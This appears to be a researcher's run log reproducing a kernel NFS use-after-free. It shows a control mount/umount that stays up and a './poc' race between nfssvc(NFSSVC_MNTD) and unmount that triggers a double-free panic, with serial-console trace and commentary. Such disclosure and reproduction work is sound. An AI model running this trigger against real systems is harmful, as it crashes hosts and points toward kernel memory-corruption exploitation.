== run 2: control, baseline kernel #0 — NO clientd, expect NO panic ==
$ sysctl debug.use_weird_array=1; sleep 8; umount /mnt/nfspoc && echo CONTROL-UMOUNT-OK; sleep 6; echo CONTROL-ALIVE; uptime
debug.use_weird_array: 0 -> 1
CONTROL-UMOUNT-OK
CONTROL-ALIVE
 4:25PM  up 1 min, 0 users, load averages: 0.09, 0.04, 0.01
# guest stayed up — the slab double-free requires the nfssvc(NFSSVC_MNTD)
# clientd thread; a plain mount/umount cycle is clean. Discriminating control.

== run 3: baseline kernel #0, variant "umount" (re-mounted first) ==
$ mount -o tcp 127.0.0.1:/tmp /mnt/nfspoc && ./poc /mnt/nfspoc umount
child 914: entering nfssvc(NFSSVC_MNTD, /mnt/nfspoc)
parent: unmount(/mnt/nfspoc)
child: nfssvc returned 0 errno=0 (UAF loop escaped)
<ssh session output ends — guest panics>

--- serial console ---
login: panic: memory chunk 0xfffff8011784f800 is already free!
cpuid = 1
Trace beginning at frame 0xfffff80089750950
chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
slab_cleanup() at slab_cleanup+0xbb 0xffffffff8065662b
slotimer_callback() at slotimer_callback+0x11 0xffffffff80687d81
softclock_handler() at softclock_handler+0x1b8 0xffffffff80688438
Debugger("panic")

CPU1 stopping CPUs: 0x0000003d
 stopped
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>

# Note "child: nfssvc returned 0": the clientd loop executed the ENTIRE
# teardown (nfs_kerb.c:133-138) on the freed nfsmount and returned to
# userland before the periodic slab checker detected the double free —
# proof of full post-free execution, not just a single stale read.